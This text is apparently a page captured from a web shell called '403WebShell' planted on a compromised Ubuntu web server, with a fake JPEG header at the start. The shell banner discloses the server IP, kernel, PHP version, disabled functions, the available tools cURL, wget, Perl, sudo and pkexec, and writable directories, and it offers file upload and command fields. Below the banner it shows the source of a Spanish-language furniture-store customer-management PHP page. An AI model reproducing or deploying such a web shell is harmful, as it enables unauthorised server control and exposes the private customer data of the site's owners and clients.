����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 216.73.216.176
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/proc/thread-self/root/var/www/html/muebles/application/customer2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/thread-self/root/var/www/html/muebles/application/customer2/v_customer.php
<?php 
$titlepage="Clientes";
$idsmenu=4;
include "../../library/config.php";
require_once("../model/dbconn.php");
require_once("../model/pos.php");
require_once("../model/sql2.php");
include "../layout/top-header.php"; 
include "../../library/check_login.php";
include "../../library/check_access.php";

		$posR = new pos();
		$resultR = array();
		$queryR = $posR->getMaxC();
		$dataR = $queryR[1];
			//aumentamos en 1 para el proximo id
		$resultR['Max_id'] = $dataR['id'];
		
		//obtenemos el registro actual que se capturara del aval
		$posA = new pos();
		$resultA = array();
		$queryA = $posA->getMaxAval();
		$dataA = $queryA[1];
			//aumentamos en 1 para el proximo id
		if(empty($dataA['id'])){
			$resultA['Max_id'] = 1;
		}else{
			$resultA['Max_id'] = $dataA['id'];
		}	
		
?>
<link rel="stylesheet" href="../../dist/css/bootstrap-switch.min.css">
<link rel="stylesheet" href="../../plugins/datepicker/datepicker3.css">

		
<!-- Main content -->
<section class="content">
			<!-- Default box -->
		<div class="box box-primary">
			
			<!-- Content Header (Page header) -->
				<section class="content-header">
					<h1>
						Clientes
						<small>visita <a href="http://yusasoft.com/">Sistemas Yusa</a> Mas Informacion</small>
					</h1>
				</section>
				<div class="box-body">
								
					    <!-- main navigation bar disini -->
						<div class="collapse navbar-collapse pull-left" id="navbar-collapse">
						  <ul class="nav navbar-nav">
											<li style="Background-color:orange"><a href="#" id="btn-add"><i class="fa fa-barcode"> Alta Cliente Nuevo</i></a></li>
											
										
											
											<li>
												<a href="<?php echo $sitename.'application/customer2/menu.php'; ?>" title="salir inventarios" >Regresar</i></a>
											</li>
						  </ul>
						</div> 
					
					
					
			 
				</div>
				<!-- /.box-body -->
			</div>
			<!-- /.box -->
		</section>
		<!-- /.content -->
	
	
	
	<!-- Modal Clientes -->
	<div id="modalClientes" class="modal fade "  tabindex="-1"  role="dialog">
		<div class="modal-dialog" role="document">
			<div class="modal-content">
				<div class="modal-header"  style="Background-color:red">
					<button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">&times;</span></button>
					<h4 class="modal-title" id="myModalLabel">Nuevo Cliente</h4>
				</div>
				<div class="modal-body">
					<div class="box-body">
					
						
						<div class="form-horizontal">
						
							
							<input type="text" class="form-control" id="txtBuscarCliente"  placeholder="Buscar Cliente por Nombre" value="" >
							<br>
							<input type="hidden" id="crud">
							<input type="hidden" id="txtcode">
							
							<div class="form-group">
								<label class="col-sm-3 control-label">Numero Contrato*</label>
								<div class="col-sm-9">
									<input type="number" class="form-control" id="txtcontract" placeholder="Numero de contrato " required>
								
								</div>
							</div>
							
							<div class="form-group">
									<label class="col-sm-3  control-label">cobrador</label>
									<div class="col-sm-9">
										<div class="input-group">
										
											<input type="hidden" class="form-control " id="id_seller_ok"  value=""  disabled>
											
											<span class="input-group-addon" id="id_seller"></span>
											<select name="selector-seller" id="selector-seller" class="form-control" required onchange="handleChange(event)">
												<option value="">-- Seleccionar --</option>
											</select>
										</div>
									</div>	
							</div>
							
							<div class="form-group">
								<label class="col-sm-3 control-label">Nombre Cliente</label>
								<div class="col-sm-9">
									
									<input type="text" class="form-control" id="txtnombre" placeholder="Nombre del Cliente " required autocomplete="off">
								</div>
							</div>
							
							<div class="form-group">
								<label class="col-sm-3 control-label">Nombre del Conyugue</label>
								<div class="col-sm-9">
									<input type="text" class="form-control" id="txtconyugue" placeholder="Conyugue " required autocomplete="off">
								</div>
							</div>
							
							<div class="form-group">
								<label class="col-sm-3 control-label">Direccion</label>
								<div class="col-sm-9">
									<input type="text" class="form-control" id="txtdireccion" placeholder="Direccion " required autocomplete="off">
								</div>
							</div>
							
							<div class="form-group">
								<label class="col-sm-3 control-label">entre Calles</label>
								<div class="col-sm-9">
									<input type="text" class="form-control" id="txtcome_in" placeholder="Datos Adicionales de domicilio " required autocomplete="off">
								</div>
							</div>
							
							<div class="form-group">
								<label class="col-sm-3 control-label">Telefono</label>
								<div class="col-sm-9">
									<input type="number" class="form-control" id="txttelefono" placeholder="Telefono" required autocomplete="off">
								</div>
							</div>
							
							<div class="form-group">
								<label class="col-sm-3 control-label">Credito</label>
								<div class="col-sm-9">
									<select class="form-control" id="cbocredito" >
										<option value="SI">SI</option>
										<option value="NO">NO</option>
									</select>
								</div>
							</div>
							
							
							
							<div class="form-group">
								<label class="col-sm-3 control-label">Poblacion</label>
								<div class="col-sm-9">
									<input type="text" class="form-control" id="txtpoblacion" placeholder="Poblacion" required>
								</div>
							</div>
							<span id="infoproses"></span> </div>
						
								<br>
								
									<button type="button" class="btn btn-info pull-center" id="btnAbrirAdi" >Abrir Datos Adicionales</button>
									
									<button type="button" class="btn btn-primary" title="Guardar Registro Cliente" id="btnsaveitem"> <i class="fa fa-save"></i> Guardar</button>
									<button type="button" class="btn btn-warning" title="editar " id="btnedit"> <i class="fa fa-pencil"></i> Editar</button>
									<button type="button" class="btn btn-danger" title="Cancelar " id="btnCancelar"> <i class="fa fa-home"></i> Cancelar</button>
									<button type="button" class="btn btn-info pull-right" title="Confirmar " id="btnConfirmar"> <i class="fa fa-home"></i> Confirmar</button>
							
									
									
							
							
						</div>
						
	
					
				
				
				</div>	
			</div>
		</div>


<style>
		ul.ui-autocomplete {
    z-index: 1100;
}
</style>
	<!-- Modal  Empleo-->
	<div class="modal fade" id="modal-customer_job" tabindex="-1"  role="dialog" aria-labelledby="myModalLabelJob">
		<div class="modal-dialog" role="document">
			<div class="modal-content">
				<div class="modal-header"  style="Background-color:red">
					<button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">&times;</span></button>
				
					<h4 class="modal-title" id="myModalLabelJob">Datos Adicionales de Cliente</h4>
				</div>
				<div class="modal-body">
					<div class="box-body">
					
						
				
						<p>Se Registran en esta ventana los datos de empleo del cliente favor de llenar todos los campos</p>
						
					
				
						<div class="form-horizontal">
						<div class="modal-header"  style="Background-color:red">
								<h5 class="modal-title" id="myModalLabelJobtitle">Datos Empleo</h5>
						</div>
						
						<br>
						
					
						
						<div class="form-group">
								<label class="col-sm-3 control-label">Cliente No.</label>
								
								
								<div class="col-sm-9">
									<input type="text" class="form-control"  disabled id="txtclientA" value="" disabled required>
								</div>
						</div>
						<br>	
						
	
						<div class="form-group">
						
								<label class="col-sm-3 control-label">Lugar de Trabajo</label>
								<div class="col-sm-9">
									<input type="text" class="form-control" id="txtworkplace" placeholder="Donde trabaja"  required>
								</div>
						</div>
						<br>	
						
						<div class="form-group">
								<label class="col-sm-3 control-label">Antiguedad</label>
								<div class="col-sm-9">
									
									<div class="input-group">
										
											<input type="text" class="form-control decimal" id="txtlaborOld"  value=""  required>
										<span class="input-group-addon "></span>
										<select name="txtlaborOld_periodicity" id="txtlaborOld_periodicity" class="form-control" required>
												<option value="0">-- años --</option>
												<option value="1">meses</option>
												
											</select>
									</div>  
									
								</div>
								
						</div>
						<br>	
						
						
						<div class="form-group">
							<label class="col-sm-3  control-label"><a href="#" class="btndisc btndiscprc">Sueldo</a></label>   
								<div class="col-sm-9">
									<div class="input-group">
										<span class="input-group-addon">$.</span>
											<input type="text" class="form-control decimal" id="txtsalary"  value=""  required>
										<span class="input-group-addon "></span>
										<select name="txtpayment_periodicity" id="txtpayment_periodicity" class="form-control" required>
												<option value="0">-- semanal --</option>
												<option value="1">Semanal</option>
												<option value="2">Catorcena</option>
												<option value="3">Quincena</option>
												<option value="4">Mensual</option>
											</select>
									</div>    
								</div>  
						</div>
						
					
						<br>	
						
	
						<div class="form-group">
									<label class="col-sm-3  control-label"><a href="#" id="btnaval" class="btndisc btndiscprc">Avales</a></label>
							<div class="col-sm-9">
									
										<button  id="new-aval">Agregar</button>
										
								
							</div>
						</div>
						<br>	
						<br>	
				
						<div class="modal-footer">
								<button type="button" class="btn btn-default pull-left" id="CleanDatos">Limpiar Campos</button>
								<button type="button" class="btn btn-info pull-left" id="EditCobranza"> Actualizar Datos Empleo</button>
								
								<button type="button" class="btn btn-primary" title="Guardar Registro Cliente" id="saveCobranza"> <i class="fa fa-save"></i> Guardar Datos de Empleo</button>
						
						</div>
							
					</div>
						
		
					<!--termina datos adicionales-->	
				
				</div>
				
				
			</div>
		</div>
	</div>
</div>	



<!--REGISTRO MODAL DE datos de cobranza-->
<div class="modal fade" id="modalCobranza2" tabindex="-2"  role="dialog" aria-labelledby="myModalLabel">
		<div class="modal-dialog" role="document">
			<div class="modal-content">
				<div class="modal-header"  style="Background-color:red">
					<h4 class="modal-title" >Datos de cobranza</h4>
				</div>
				<div class="modal-body">
					<div class="box-body">
					<br>	
						
			              	<P>Se Registran datos de cobranza de Cliente </P>
									
					<div class="form-horizontal">
						
				<br>	
					
						<div class="form-group">
						
								<label class="col-sm-3 control-label">Cliente</label>
								<div class="col-sm-9">
									<input type="text"  class="form-control" id="txtIdclientCobranza" value="" placeholder="Cliente asociado a datos adicionales" disabled  required>
								</div>
						</div>
						
					<br>	
					
					<div class="form-group">
							<label class="col-sm-3  control-label"><a href="#" class="btndisc btndiscprc">Pago Minimo</a></label>   
								<div class="col-sm-9">
									<div class="input-group">
										<span class="input-group-addon">$.</span>
											<input type="text" class="form-control decimal" id="txtmin_pay"  value="" required>
										<span class="input-group-addon "></span>
									</div>    
								</div>  
							</div>
							<br>	
						<br>
						
								<div class="form-group">
									<label class="col-sm-3  control-label">Periodicidad del Pago</label>
									<div class="col-sm-9">
										<div class="input-group">
											<span class="input-group-addon" ></span>
											<select name="txtpayment_period" id="txtpayment_period" class="form-control" required>
												<option value="0">-- Seleccionar --</option>
												<option value="1">Semanal</option>
												<option value="2">Catorcena</option>
												<option value="3">Quincena</option>
												<option value="4">Mensual</option>
											</select>
										</div>
									</div>	
							</div>
						<br>	
						
						<div class="form-group">   
								<label class="col-sm-3  control-label">Fecha 1er. Pago</label>   
								<div class="col-sm-9">
								<?php
								$date = date("d-m-Y");
								//Incrementando 7 dias
								$mod_date = strtotime($date."+ 7 days");
								$fechaPago = date("d-m-Y",$mod_date)
								?>
									<input  type="date" class="form-control txtpaydate" id="txtpaydate"  value="" required>
								</div>
						</div>
						<br>

						<div class="form-group">
									<label class="col-sm-3  control-label">Dia de Cobro</label>
									<div class="col-sm-9">
										<div class="input-group">
											<span class="input-group-addon" ></span>
											<select name="txtpayday" id="txtpayday" class="form-control" required>
												<option value="0">-- Seleccionar --</option>
												<option value="1">Lunes</option>
												<option value="2">Martes</option>
												<option value="3">Miercoles</option>
												<option value="4">Jueves</option>
												<option value="5">Viernes</option>
												<option value="6">Sabado</option>
												<option value="7">Domingo</option>
											</select>
										</div>
									</div>	
							</div>
							<br>
							
							<div class="modal-footer">
								<button type="button" class="btn btn-default pull-left" data-dismiss="modal">Limpiar Campos</button>
								
								<button type="button" class="btn btn-danger pull-center" id="Salir" data-dismiss="modal"> <i class="fa fa-close"></i> Salir</button>
										<button type="button" class="btn btn-primary" title="Guardar Registro de cobranza 2" id="saveCobranzaDesdeCliente"> <i class="fa fa-save"></i> Guardar Datos de Cobranza</button>
						
							</div>
						
					</div>
				
						
				
				</div>
				
				
			</div>
		</div>
	</div>
</div>	

<!--REGISTRO MODAL DE AVALES-->
<div class="modal fade" id="modalmasteritem" tabindex="-1"  role="dialog" aria-labelledby="myModalLabel">
		<div class="modal-dialog" role="document">
			<div class="modal-content">
				<div class="modal-header"  style="Background-color:red">
					<button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">&times;</span></button>
					<h4 class="modal-title" id="titleAval">Datos Adicionales avales</h4>
				</div>
				<div class="modal-body">
					<div class="box-body">
					
						
					<div class="form-horizontal">
						<div class="modal-header"  style="Background-color:red">
								<h5 class="modal-title" id="myModalLabel">Datos Aval</h5>
						</div>
						
						<br>
						<div class="form-group"> 
						<label class="col-sm-1  control-label">Nombre:</label>
							<div class="col-sm-11">
							<input type="hidden" id="avalActual_id" name="avalActual_id" class="" value="<?php echo $resultA['Max_id']; ?>" required disabled> 
							<input type="text" class="form-control " id="txtname" name="txtname" value=""  placeholder=" nombre del aval">
							<input type="hidden" id="inputcrud" name="inputcrud" class="" value="N"> 
							<input type="hidden" id="customer_id" name="customer_id" class="" value="<?php echo $resultR['Max_id']; ?>"> 
							</div>	
						</div>
						<div class="form-group"> <label class="col-sm-1  control-label">Parent:</label>
							<div class="col-sm-11"><input type="text" class="form-control "  maxlength="15" id="txtparentesco" name="txtparentesco" value="" placeholder="Agregar parentesco" > </div>
						</div>
						<br>
						<div class="form-group"> <label class="col-sm-1  control-label">Dir:</label>
							<div class="col-sm-11"><input type="text" class="form-control " id="txtdir"  maxlength="100" name="txtdir" value="" placeholder="Agregar direccion" > </div>
						</div>
						<br>
						<div class="form-group"> <label class="col-sm-1  control-label">telefono:</label>
							<div class="col-sm-11"><input type="number" class="form-control " id="txttel" name="txttel"  maxlength="20" value="" placeholder="Agregar telefono"> </div>
						</div>
						<br>
						<div class="form-group"> <label class="col-sm-1  control-label">Colonia:</label>
							<div class="col-sm-11"><input type="text" class="form-control " id="txtcolonia" name="txtcolonia"   maxlength="20" value="" placeholder="Agregar colonia"> </div>
						</div>
						
						<br>
						<div class="form-group"> <label class="col-sm-1  control-label">Ciudad:</label>
							<div class="col-sm-11"><input type="text" class="form-control " id="txtciudad" name="txtciudad"  maxlength="20" value="" placeholder="Agregar ciudad"> </div>
						</div>
						
						<br>
						<div id="infoproses"></div>
							<div class="form-group"> <label class="col-sm-1  control-label"></label>
									<div class="col-sm-11"><button type="submit" title="Editar Aval" class="btn btn-warning " id="btnEditAval" name="btnEditAval"><i class="fa fa-pencil"></i> Guardar</button> <span id="infoproses1"></span> </div>
									<button type="button" class="btn btn-info pull-left" id="btnEditAval2"><i class="fa fa-pencil"></i>Guardar</button>
								
								<div class="col-sm-11"><button type="submit" title="Guardar Aval" class="btn btn-primary " id="btnsaveAval" name=""><i class="fa fa-save"></i> Guardar</button> <span id="infoproses"></span> </div>
							</div>
							
					</div>
						
				
				</div>
				
				
			</div>
		</div>
	</div>
</div>	

	

<!-- Modal cancelar contrato cliente  -->	
<div id="CancelarCmodal" class="modal fade ">
		<div class="modal-dialog modal-md">
			<div class="modal-content">
					<div class="modal-header" style="Background-color:red">
					<button type="button" class="close" data-dismiss="modal">×</button>
						<h4 class="modal-title">Cancelar Cliente </h4>
						
					</div>
					<!--modal header-->
					<div class="modal-body">
						<div class="form-horizontal">
							<div class="box-body">
								
								
							
							<div class="form-group">
								<label class="col-sm-3 control-label">Nombre de Cliente  </label>
								<div class="col-sm-9">
									<input type="text" class="form-control" id="txtnameB" placeholder="Cliente a cancelar" >
								</div>
							</div>	
							<br>
							<div class="form-group">
								<label class="col-sm-3 control-label">Contrato </label>
								<div class="col-sm-9">
									<input type="text" class="form-control" id="txtcontractCancel" disabled>
								</div>
							</div>	
							
							<br>
							<div class="form-group">
								<label class="col-sm-3 control-label">Fecha </label>
								<div class="col-sm-9">
									<input type="date" class="form-control" id="txtdateBaja" >
								</div>
							</div>	
								<br>
							<input type="hidden" id="txthidetrxidB" >
							<div class="form-group">
								<label class="col-sm-3 control-label">Motivo de Cancelacion de contrato  </label>
								<div class="col-sm-9">
									<input type="text" class="form-control" id="txtreason" placeholder="Motivo de cancelacion de cliente" autocomplete="off">
								</div>
							</div>
							
								<br>
							
							<div class="form-group">
								<label class="col-sm-2  control-label">
									<button type="submit" class="btn btn-info " id="btncheckCancel" name="btncheckCancel"><i class="fa  fa-home"></i> Confirmar</button> <span id="infopassword"></span>
								</label>
							</div>
							<br>
							
						</div>
					</div>
				</div>
				<div class="modal-footer">
					<button type="button" class="btn btn-default" id="closeModalEntrada" data-dismiss="modal">Cerrar</button>
				</div>
				<!--modal footer-->
			</div>
			<!--modal-content-->
		</div>
	<!--modal-dialog modal-lg-->
	</div>
<!--Termina modal de cancelar de cliente-->			
		


	<?php include "../layout/footer.php"; //footer template ?> 
	<?php include "../layout/bottom-footer.php"; //footer template ?> 
	<script src="../../plugins/datepicker/bootstrap-datepicker.js"></script>
	<script src="../../dist/js/redirect.js"></script>
	<script src="j_pos.js"></script>
<script type="text/javascript">


		
	
		$('#table-customer2').DataTable({
				"paging": true,
				"lengthChange": false,
				"searching": false,
				"processing": true,
				"ordering": false,
				"info": false,
				"responsive": true,
				"autoWidth": false,
				"pageLength": 100,
				"dom": '<"top"f>rtip',
				"fnDrawCallback": function( oSettings ) {
				},
				"ajax": {
					"url": "customer.php",
					"type": "POST",
					"data" : {
						method : "list_customer2"
					},
					error: function (request, textStatus, errorThrown) {
						swal(request.responseJSON.message);
					}
				},

				columns: [
				{ "data": null,render :  function ( data, type, full, meta ) {
					return  meta.row + 1;
				}},
				{ "data": "contract" },
				{ "data": "name" },
				{ "data": "conyugue" },
				{ "data": "direccion" },
				{ "data": "come_in" },
				{ "data": "credito" },
				{ "data": "poblacion" },
				{ "data": "phone" },
				{ "data": null, render : function(data,type,row){
					return "<button title='Editar' class='btn btn-edit btn-warning btn-xs'><i class='fa fa-pencil'></i> Editar</button>  <button title='borrar' class='btn btn-hapus  btn-danger btn-xs'><i class='fa fa-remove'></i> borrar</button> ";
				} 		},
				]
			});
			
		

$(document).ready(function(){
	
	

   $("#selector-seller").load('../model/select_employee.php');

	
	$("#txtcontract").keydown(function(e) {
        if(e.which == 13) {
		 
				set_focus("#selector-seller");
		}
      });
	
	 $("#selector-seller").keydown(function(e) {
        if(e.which == 13) {
		 
				set_focus("#txtnombre");
		}
      });
	  
	   $("#txtnombre").keydown(function(e) {
        if(e.which == 13) {
		 
				set_focus("#txtconyugue");
		}
      });
	  
	   $("#txtconyugue").keydown(function(e) {
        if(e.which == 13) {
		 
				set_focus("#txtdireccion");
		}
      });
	  
	   $("#txtdireccion").keydown(function(e) {
        if(e.which == 13) {
		  
				set_focus("#txtcome_in");
		}
      });
	  
	   $("#txtcome_in").keydown(function(e) {
        if(e.which == 13) {
		  
				set_focus("#txttelefono");
		}
      });
	  
	  
	   $("#txttelefono").keydown(function(e) {
        if(e.which == 13) {
		  
				set_focus("#cbocredito");
		}
      });
	  
	   $("#cbocredito").keydown(function(e) {
        if(e.which == 13) {
		  
				set_focus("#txtpoblacion");
		}
      });
	  
	   $("#txtpoblacion").keydown(function(e) {
        if(e.which == 13) {
		  var crud = $("#crud").val();
				if(crud == 'E'){
				set_focus("#btnAbrirAdi");
					
				}else{
				set_focus("#btnsaveitem");
				}

		  }
      });
	  
	  //salto en ventana de trabajo de cliente txtworkplace
	  $("#btnsaveitem").keydown(function(e) {
		  $("#titleAval").html("Datos de aval 1");
        if(e.which == 13) {
		  
				set_focus("#txtworkplace");
		}
      });
	  
	  //enter para datos adicionales de cliente
	$("#txtworkplace").keydown(function(e) {
        if(e.which == 13) {
		 
				set_focus("#txtlaborOld");
		}
      });
	  //txtlaborOld
	$("#txtlaborOld").keydown(function(e) {
        if(e.which == 13) {
		 console.log("brincar a antiguedad laborar...");
				set_focus("#txtlaborOld_periodicity");
		}
      });  
	  
	  $("#txtlaborOld_periodicity").keydown(function(e) {
        if(e.which == 13) {
		 console.log("brincar a salario ...");
				set_focus("#txtsalary");
		}
      });  
	  
	   //enter en periodicidad de pago txtpayment_periodicity
	  $("#txtsalary").keydown(function(e) {
        if(e.which == 13) {
			 console.log("brincar a Periodicidad de salario ...");
				set_focus("#txtpayment_periodicity");
		}
      });
	  
	   $("#txtpayment_periodicity").keydown(function(e) {
        if(e.which == 13) {
			
				set_focus("#new-aval");
		}
      });
	  
	 
	 
	  //datos de cobranza saveCobranza
	  $("#saveCobranza").keydown(function(e) {
        if(e.which == 13) {
		  
				set_focus("#txtmin_pay");
		}
      });
	  
	   $("#txtmin_pay").keydown(function(e) {
        if(e.which == 13) {
		  
				set_focus("#txtpayment_period");
		}
      });
	  
	  $("#txtpayment_period").keydown(function(e) {
        if(e.which == 13) {
				set_focus("#txtpaydate");
		}
      });
		
	  $("#txtpaydate").keydown(function(e) {
        if(e.which == 13) {
				set_focus("#txtpayday");
		}
      });	
	
	//seleccionamos dias de pago
	  $("#txtpayday").keydown(function(e) {
        if(e.which == 13) {
			console.log("ir a boton guardar cobranza...");
				set_focus("#saveCobranzaDesdeCliente");
		}
      });
		
$( "#txtclient" ).autocomplete({
		search  : function(){$(this).addClass('working');},
		open    : function(){$(this).removeClass('working');},
		source: function(request, response) {
			$.getJSON("autocomplete_client.php", { term: $('#txtclient').val() }, 
				response); },
			minLength:1,
			select:function(event, ui){
					
					$("#crud").val("E");
					$("#txtcode").val(ui.item.id_client);
					$("#txtcontract").val(ui.item.contract);
					$("#txtnombre").val(ui.item.cliente);
					$("#txtconyugue").val(ui.item.conyugue);
					$("#txtdireccion").val(ui.item.direccion);
					$("#txtcome_in").val(ui.item.come);
					$("#txttelefono").val(ui.item.phone1);
					$("#txtpoblacion").val(ui.item.id);
					$("#cbocredito").val(ui.item.credito);
					
					$("#modal-customer").modal("show");	
					
			}
		}).autocomplete( "instance" )._renderItem = function( ul, item ) {
		return $( "<li>" )
		.append( "<dl><dt>"+item.id + "</dt>"+item.name+ "</dl>"   )
		.appendTo( ul );
	};
	
	$(document).on("click",".btn-edit",function(){
			var current_row = $(this).parents('tr'); 
			if (current_row.hasClass('child')) { 
				current_row = current_row.prev(); 
			}
			
			$("#myModalLabel").html("Editar Cliente");
			var table = $('#table-customer2').DataTable(); 
			var data = table.row( current_row).data();
			$("#txtcontract").val(data.contract);
			$("#txtnombre").val(data.name);
			$("#txtconyugue").val(data.conyugue);
			$("#txtdireccion").val(data.direccion);
			$("#txtcode").val(data.id_cust);
			$("#txtpoblacion").val(data.poblacion);
			$("#cbocredito").val(data.credito);
			$("#txttelefono").val(data.phone);
			$("#modal-customer").modal("show");
			setTimeout(function(){ 
				$("#txtnombre").focus();
			}, 1000);
			$("#crud").val("E");
		});
		
		$(document).on("keyup keydown","#txtclient",function(){
			var searchitem = $("#txtclient").val();
			value={
				term : searchitem,
			}
			$.ajax(
			{
				url : "c_search_customer.php",
				type: "POST",
				data : value,
				success: function(data, textStatus, jqXHR)
				{
					var data = jQuery.parseJSON(data);
					$("#table-customer2 tbody").html(data.data)
				},
				error: function(jqXHR, textStatus, errorThrown)
				{
					
				}
			});
		});
  
});


//guardar / editar
$(document).on( "click","#btnsaveitem", function() {
	
	var contrato = $("#txtcontract").val();
	var nombre = $("#txtnombre").val();
	var conyugue = $("#txtconyugue").val();
	var direccion = $("#txtdireccion").val();
	var come = $("#txtcome_in").val();
	var telefono = $("#txttelefono").val();
	var credito = $("#cbocredito").val();
	var poblacion = $("#txtpoblacion").val();
	var id_seller = $("#selector-seller").val();
	var crud=$("#crud").val();
	
if(crud == 'E'){
		if(contrato == '' || contrato== null ){
			$.notify({
				message: "No se Puede Editar el contrato"
			},{
				type: 'warning',
				delay: 8000,
			});		
			$("#txtnombre").focus();
			
		}else{
				$("#txtcontract").disabled=true;
				swal({
						title: "Editar",
						text: "Desea Editar ?",
						type: "warning",
						showCancelButton: true,
						confirmButtonClass: "btn-primary",
						confirmButtonText: "Actualizar",
						closeOnConfirm: true }, 
					function(){
						console.log("Editar confirmado!!!");						
						//edit_customer($("#txtcontract").val(),$("#txtnombre").val(),$("#txtconyugue").val(),$("#txtdireccion").val(),$("#txtcome_in").val(),$("#txttelefono").val(), $("#cbocredito").val(), $("#txtpoblacion").val());
						edit_customer($("#txtcode").val(),$("#txtcontract").val(),$("#txtnombre").val(),$("#txtconyugue").val(),$("#txtdireccion").val(),$("#txtcome_in").val(),$("#txttelefono").val(), $("#cbocredito").val(), $("#txtpoblacion").val());
						
						    $("#txtcontract").val("");
							$("#txtnombre").val("");
						$("#txtconyugue").val("");
							$("#txtdireccion").val("");
							$("#txtcome_in").val("");
							$("#txttelefono").val("");
							$("#cbocredito").val("");
							$("#txtpoblacion").val("");
							$("#selector-seller").val("");
							$("#txtBuscarCliente").val("");
							//id_seller
							$("#id_seller").html("");
		
				});
		}		
		
	}else{
		
	$("#txtcontract").disabled=false;
		if(nombre == '' || nombre== null ){
		$.notify({
			message: "por favor ingrese nombre"
		},{
			type: 'warning',
			delay: 8000,
		});		
		$("#txtnombre").focus();
		return;
	}
	
	if(direccion == '' || direccion== null ){
		$.notify({
			message: "por favor ingrese direccion"
		},{
			type: 'warning',
			delay: 8000,
		});		
		$("#txtdireccion").focus();
		return;
	}
	
	if(telefono == '' || telefono== null ){
		$.notify({
			message: "por favor ingrese telefono"
		},{
			type: 'warning',
			delay: 8000,
		});		
		$("#txttelefono").focus();
		return;
	}
	
	//var id_seller = $("#id_seller_ok").val();
	
	if(id_seller == '' || id_seller== null ){
		$.notify({
			message: "Seleccione cobrador"
		},{
			type: 'warning',
			delay: 8000,
		});		
		$("#selector-seller").focus();
		return;
	}
	
	
		
	var value = {
				contrato: contrato,
				nombre: nombre,
				conyugue: conyugue,
				direccion:direccion,
				come:come,
				telefono:telefono,
				credito:credito,
				poblacion:poblacion,
				crud:crud,
				id_seller:id_seller,
				method : "saveClient"
			};
			$.ajax(
			{
				url : "customer.php",
				type: "POST",
				data : value,
				success: function(data, textStatus, jqXHR)
				{
					
					
					var data = jQuery.parseJSON(data);
					//registro correcto
					if(data.result == true){
						
						$.notify('Registro de cliente Guardado Correctamente!');
						$("#txtclientA").val($("#txtcontract").val());
						
						contract= $("#txtclientA").val();
						console.log(contract);
						
						//$array[1];
						$("#txtIdclientCobranza").val(data.id_client);
						
						if(contract != '' || contract != null ){
							
							//modal-customer_job
								//ocultar modal cliente
						
						console.log("Despues abrimos el mmodal 2");	
							$("#modal-customer_job").modal("show");	
							//btnAbrirAdi
							$("#btnAbrirAdi").prop('disabled', false);
							$("#btnsaveitem").prop('disabled', true);
							
						}else{
							//modal-customer_job
							//ocultar modal cliente
						
							
						console.log("Despues abrimos el mmodal 2");
							$("#modal-customer_job").modal("show");	
							//btnAbrirAdi
							$("#txtIdclientCobranza").prop('disabled', false);
							$("#btnAbrirAdi").prop('disabled', false);
							$("#btnsaveitem").prop('disabled', true);
							
							
								//digitar contrato nuevamente
							$.notify({
								message: " Registre contrato nuevamente" 
							},{
								type: 'danger',
								delay: 15000,
							});
						}
						
						//ponemos el focus en lugar de trabajo
						set_focus("#txtworkplace");
					
					}else{
						//error al guardar datos
						$.notify({
								message: " Error, General"
							},{
								type: 'danger',
								delay: 5000,
							});
					}
					
					
				},
				error: function(jqXHR, textStatus, errorThrown)
				{
					$.notify({
						message: "Error Inesperado!! Reporte a Sistemas"
					},{
						type: 'danger',
						delay: 8000,
					});	
					$("#btnsaveitem").prop('disabled', false);
				}
			});
	
		
	}
	

});


//editar funcion datos de cliente
//edit_customer($("#txtcode").val(),$("#txtcontract").val(),$("#txtnombre").val(),$("#txtconyugue").val(),$("#txtdireccion").val(),$("#txtcome_in").val(),$("#txttelefono").val(), $("#cbocredito").val(), $("#txtpoblacion").val());

function edit_customer(cod,id,nm,cat,code,stk,uni,pri,not){
			let ajax = {
				method: "edit_customer",
				id_cust:cod,
				contract :  id,
				name : nm,
				conyugue:cat,
				direccion:code,
				come_in:stk,
				phone:uni,
				cbo_credit:pri,
				poblacion:not
			}
			$.ajax({
				url:  "customer.php",
				type: "POST",
				data: ajax,
				success: function(data, textStatus, jqXHR)
				{
					$resp = JSON.parse(data);

					if($resp['status'] == true){
						
						$.notify({
						message: "Se actualizo registro de cliente Correctamente!!"
						},{
							type: 'success',
							delay: 2000,
						});	
						
						set_focus("#txtBuscarCliente");	
						
	
					}else{
						
						$.notify({
						message: "Error al actualizar registro !!"
						},{
							type: 'danger',
							delay: 2000,
						});	
						
						
						document.getElementById("txtBuscarCliente").focus();
						
					}
				},
				error: function (request, textStatus, errorThrown) {
					swal("Error ", request.responseJSON.message, "error");

				}
			});
		}


			
				
	
	</script>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit